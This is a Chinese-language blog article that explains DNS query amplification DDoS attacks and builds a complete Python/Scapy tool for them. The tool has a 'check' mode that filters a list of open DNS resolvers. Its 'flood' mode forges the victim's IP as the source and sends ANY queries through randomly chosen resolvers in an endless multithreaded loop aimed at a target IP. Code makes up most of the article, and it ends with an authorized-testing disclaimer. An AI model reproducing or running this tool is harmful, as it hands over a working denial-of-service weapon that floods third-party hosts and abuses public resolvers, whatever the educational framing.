DNS查询放大攻击实现原理解析

码头散步
码头散步
发布时间:2026-10-12| 2人浏览过
原创

本文解析DNS查询放大攻击的实现原理,利用Python的Scapy库伪造源IP并构建标准DNS请求包。通过筛选可用公共DNS服务器,配合多线程并发发送大量查询请求,可观察到响应包体积显著大于请求包,形成流量放大效应。掌握该机制有助于理解DDoS防御逻辑与网络安全防护策略。

DNS查询放大攻击核心机制解析

DNS查询放大攻击属于分布式拒绝服务(DDoS)的一种典型变体。其核心逻辑是利用互联网上广泛存在的递归DNS服务器资源,向目标主机发起持续性拒绝服务。攻击者通过技术手段伪造数据包的源IP地址为目标受害者的真实IP,随后向多个DNS解析器发起查询请求。由于DNS协议的设计特性,解析器在返回结果时会默认将响应报文发往源IP字段标注的地址。攻击者借此将大量DNS查询流量反弹至目标主机,使其带宽被恶意消耗而无法正常对外提供服务。

DNS放大攻击流量转发拓扑示意
攻击链路中伪造的源IP使响应流量定向回流至受害者

基于Scapy的数据包构造与流量放大验证

验证放大效应的关键在于对比请求包与响应包的实际字节数。通过Python网络编程库可以精准控制各层协议头部字段,从而模拟完整的交互过程。

第1步:构建标准DNS请求包

进入Python交互式环境或直接编写脚本,导入Scapy模块后,需严格按照TCP/IP分层模型依次拼接协议栈。DNS查询报文通常承载于UDP之上,因此构造顺序应为IP层包裹UDP层,最终封装DNS查询层。以下为单包构造与发送的核心代码:

from scapy.all import *
respon = sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2)
print(len(respon))
单次DNS查询请求与响应长度对比截图
实测请求包长度显著小于接收到的响应包长度,流量放大倍数约3倍

如上图所示,客户端发出的原始查询帧较短,而服务端回传的完整记录(含TTL、记录内容等元数据)导致体积成倍增长。若将源地址替换为目标主机,并叠加海量DNS节点并发调用,即可触发带宽拥塞。

第2步:验证公网DNS节点可用性

在实际调度前,需批量校验候选DNS服务器的存活状态与响应能力。以下脚本读取包含IP列表的文件,逐一发送探测请求,剔除超时节点并将有效结果落盘:

import socket, os, sys
from scapy.all import *
def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename, "r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n", "")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")), timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log", "w+")
for item in proxy:
    fp.write(item + "\n")
fp.close()
DNS可用性检查模式运行终端输出
终端显示检查任务完成,有效节点已归档至 pass.log

第3步:集成多线程发包逻辑

完成节点筛选后,将探测程序升级为主控流程。利用Python标准库实现命令行参数解析,并通过线程池维持高频并发。构造阶段需显式声明各层属性,确保符合协议规范:

import socket, os, sys
from scapy.all import *
ip_pack = IP(); ip_pack.src = "192.168.1.2"; ip_pack.dst = "8.8.8.8"
udp_pack = UDP(); udp_pack.sport = 53; udp_pack.dport = 53
dns_pack = DNS(); dns_pack.rd = 1; dns_pack.qdcount = 1
dnsqr_pack = DNSQR(); dnsqr_pack.qname = "baidu.com"; dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)

整合上述模块后,系统支持双模式运行。通过 --mode=check 执行预检,通过 --mode=flood 结合 -t 指定目标IP执行并发压力测试:

import os, sys, threading, time
from scapy.all import *
import argparse

def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename, "r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n", "")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")), timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list

def DNS_Flood(target, dns):
    ip_pack = IP()
    ip_pack.src = target
    ip_pack.dst = dns
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)

def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\\_")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")

if __name__ == "__main__":
    Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("--mode", dest="mode", help="选择执行命令<check=检查DNS可用性/flood=攻击>")
    parser.add_argument("-f", "--file", dest="file", help="指定一个DNS字典,里面存储DNSIP地址")
    parser.add_argument("-t", dest="target", help="输入需要攻击的IP地址")
    args = parser.parse_args()
    if args.mode == "check" and args.file:
        proxy = Inspect_DNS_Usability(args.file)
        fp = open("pass.log", "w+")
        for item in proxy:
            fp.write(item + "\n")
        fp.close()
        print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
    elif args.mode == "flood" and args.target and args.file:
        with open(args.file, "r") as fp:
            countent = [line.rstrip("\n") for line in fp]
            while True:
                randomDNS = str(random.sample(countent, 1)[0])
                print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target, randomDNS))
                t = threading.Thread(target=DNS_Flood, args=(args.target, randomDNS))
                t.start()
    else:
        parser.print_help()
多线程并发发包终端实时日志
目标IP与随机选择的DNS节点持续建立查询连接

执行参数说明与安全合规提示

脚本依赖标准库与第三方网络处理组件,需提前配置好运行环境。启动前请根据提示准备存放IP列表的文本文件,并通过命令行传递相应参数。例如:python main.py --mode=check -f test.log 或 python main.py --mode=flood -f pass.log -t 192.168.1.1。

【安全风险提示】本工具及原理剖析仅供网络安全教学、渗透测试授权验证与防御策略研究使用。任何未经资产所有者明确书面授权的网络干扰行为均违反《中华人民共和国网络安全法》及相关刑事法规。现代主流DNS解析器已部署速率限制(Rate Limiting)与反滥用过滤机制,非法测试极易触发封禁或法律追责,请务必在隔离实验网内操作。

以上就是DNS查询放大攻击实现原理与Python Scapy脚本实现的详细内容,更多关于网络安全检测与防御的资料请关注本站其它相关文章!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。